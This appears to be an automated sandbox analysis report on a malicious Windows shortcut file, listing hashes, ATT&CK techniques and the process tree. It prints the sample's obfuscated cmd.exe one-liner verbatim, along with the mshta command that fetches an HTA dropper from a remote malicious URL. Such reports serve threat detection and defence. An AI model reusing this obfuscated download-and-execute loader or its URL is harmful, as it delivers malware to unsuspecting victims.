9fbc243fad3ebb8d34422e52d299d6c0692cab6b68a2ec751946f6a8c80609e3

Analysis

max time kernel
40s
max time network
34s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 19:48

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General

Target
FirmaPeru-5PGPKB.lnk
Size 2KB
Sample260803-yh4e4aztcs
SHA256 9fbc243fad3ebb8d34422e52d299d6c0692cab6b68a2ec751946f6a8c80609e3
MD5 1fc19e671fdda7a423954d9db21f4100
SHA1 8c05c84a918568e164d94948d01a54ec5350a5e2
SHA512 ab2e45dbba408e25ba075719fc83e275b51cb2d3ccf1c147e037580c4e33d541e7e3b3d12f565ee18eae53ed439311c045f19d606f0f27a91feeb0bdb7119ac2
TLSH
T142413B5069F94294E2FFCE77ECFD5B9188BAB9516D72D68D0D40828D0020601F977B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
592	cmd.exe
4804	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 592 wrote to memory of 4804	592	cmd.exe	89
PID 4804 wrote to memory of 1812	4804	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-5PGPKB.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:592
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set zFq=bakyimwcaykmtgryobcbak&set YWhP=datrqysinjrocadat&set ejC=netwiztomhenet&set et=infofejuoephyzhuinf&set HhO=sysswiptarxpotlsys&set WHFq=infbemsggkpxykrminf&set qR=bomma46&&set Bxvgf=ushthl&&set bzQ=wa9e&set laG=zojstal2&&set MZzO=bvcri0h&&set KGq=p6atry&set QJHR=bakeiclnpwlrgcfegsobak&&set SY=h@ttp@s://m-firma.lat/h/[email protected]@hp?r=2@61@A6@CF5@4682&&start /b !qR:~3,1!!Bxvgf:~1,3!!bzQ:~1,1! !SY:@=!&&set vpQkC=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:1812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads